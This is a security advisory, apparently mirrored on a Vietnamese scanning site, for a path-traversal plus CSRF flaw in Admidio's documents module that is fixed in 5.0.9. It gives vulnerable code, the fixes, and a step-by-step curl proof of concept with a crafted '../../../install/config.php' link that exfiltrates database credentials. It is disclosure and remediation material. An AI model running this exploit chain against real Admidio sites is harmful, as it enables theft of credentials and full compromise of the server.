| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| admidio/admidio | < 5.0.9 | 5.0.9 |
The add mode in modules/documents-files.php accepts a name parameter validated only as 'string' type (HTML encoding), allowing path traversal characters (../) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and SameSite=Lax session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., install/config.php containing database credentials) into a documents folder accessible to the attacker.
Root cause — incorrect input validation type (modules/documents-files.php:222):
case 'add':
$getName = admFuncVariableIsValid($_GET, 'name', 'string');
The 'string' type in admFuncVariableIsValid() only applies SecurityUtils::encodeHTML(StringUtils::strStripTags($value)) (system/bootstrap/function.php:414-416). Since ../ contains no HTML special characters (<, >, &, ", '), path traversal sequences pass through unchanged.
The correct type would be 'file', which calls StringUtils::strIsValidFileName() (src/Infrastructure/Utils/StringUtils.php:217-236). This function checks basename($filename) !== $filename at line 228, which would reject any path containing directory separators.
Missing CSRF protection (modules/documents-files.php:221-238):
case 'add':
$getName = admFuncVariableIsValid($_GET, 'name', 'string');
if (!$gCurrentUser->isAdministratorDocumentsFiles()) {
throw new Exception('SYS_NO_RIGHTS');
}
$folder = new Folder($gDb);
$folder->readDataByUuid($getFolderUUID);
$folder->addFolderOrFileToDatabase($getName);
// ...
No SecurityUtils::validateCsrfToken() or form object validation. Compare with folder_delete (line 140) and file_delete (line 170) which both validate CSRF tokens. The add action operates entirely via GET parameters.
Unsafe path construction (src/Documents/Entity/Folder.php:121-135):
public function addFolderOrFileToDatabase(string $newFolderFileName): void
{
$newFolderFileName = urldecode($newFolderFileName);
$newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName;
// ...
if (is_file($newObjectPath)) {
$newFile = new File($this->db);
$newFile->setValue('fil_fol_id', $folderId);
$newFile->setValue('fil_name', $newFolderFileName); // traversal stored in DB
// ...
$newFile->save();
}
}
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíNo realpath() comparison or basename() check. The traversal filename (e.g., ../../../install/config.php) is stored verbatim as fil_name in the database.
File served on download (src/Documents/Entity/File.php:88-91, src/Documents/Service/DocumentsService.php:68-119):
// File.php:88-91
public function getFullFilePath(): string
{
return $this->getFullFolderPath() . '/' . $this->getValue('fil_name', 'database');
}
// DocumentsService.php:75-118
$completePath = $file->getFullFilePath(); // reconstructs traversal path
// ...
readfile($completePath); // serves arbitrary file
SameSite=Lax allows cross-site GET (src/Session/Entity/Session.php:544):
'samesite' => 'lax'
Top-level GET navigations from cross-site origins include the session cookie, enabling the CSRF attack vector.
Prerequisites: Attacker has a regular user account with access to the documents module. A documents administrator is available to be social-engineered.
# Step 1: As regular user, browse the documents module to obtain a public folder UUID
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list'
# Note a folder_uuid from the response, e.g., "550e8400-e29b-41d4-a716-446655440000"
# Step 2: Craft a link targeting install/config.php (adjust ../ depth for folder nesting)
# For a folder at adm_my_files/documents/Photos/, use three levels:
PAYLOAD_URL='https://target.com/modules/documents-files.php?mode=add&folder_uuid=550e8400-e29b-41d4-a716-446655440000&name=../../../install/config.php'
# Step 3: Send this link to a documents administrator (email, chat, etc.)
# When the admin clicks it, the server's install/config.php is registered in the Photos folder
# The admin sees a redirect back to the documents page (normal behavior)
# Step 4: As attacker, list the folder to find the new file entry
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list&folder_uuid=550e8400-e29b-41d4-a716-446655440000'
# The traversal file appears in the listing with its file_uuid
# Step 5: Download the file using its UUID
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=download&file_uuid=<FILE_UUID>'
# Response contains the contents of install/config.php, including:
# $g_adm_srv (database host)
# $g_adm_usr (database username)
# $g_adm_pw (database password)
# $g_adm_db (database name)
install/config.php (database credentials), /etc/passwd, application source code, and other configuration files.install/config.php contains plaintext database credentials, enabling direct database access and full compromise of the Admidio installation.Fix 1 — Use 'file' validation type for the name parameter (modules/documents-files.php:222):
// Before (vulnerable):
$getName = admFuncVariableIsValid($_GET, 'name', 'string');
// After (fixed):
$getName = admFuncVariableIsValid($_GET, 'name', 'file');
This invokes StringUtils::strIsValidFileName() which checks basename($filename) !== $filename and rejects any path containing directory traversal.
Fix 2 — Add CSRF protection to the add mode (modules/documents-files.php:221-238):
Change the add action from GET to POST and add CSRF token validation:
case 'add':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$getName = admFuncVariableIsValid($_POST, 'name', 'file');
if (!$gCurrentUser->isAdministratorDocumentsFiles()) {
throw new Exception('SYS_NO_RIGHTS');
}
$folder = new Folder($gDb);
$folder->readDataByUuid($getFolderUUID);
$folder->addFolderOrFileToDatabase($getName);
// ...
Fix 3 (defense in depth) — Add path canonicalization in addFolderOrFileToDatabase() (src/Documents/Entity/Folder.php):
public function addFolderOrFileToDatabase(string $newFolderFileName): void
{
$newFolderFileName = urldecode($newFolderFileName);
$newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName;
// Ensure the resolved path is within the folder directory
$realPath = realpath($newObjectPath);
$folderPath = realpath($this->getFullFolderPath());
if ($realPath === false || !str_starts_with($realPath, $folderPath . '/')) {
throw new Exception('SYS_FILENAME_INVALID');
}
// ... rest of method
}
All three fixes should be applied for defense in depth.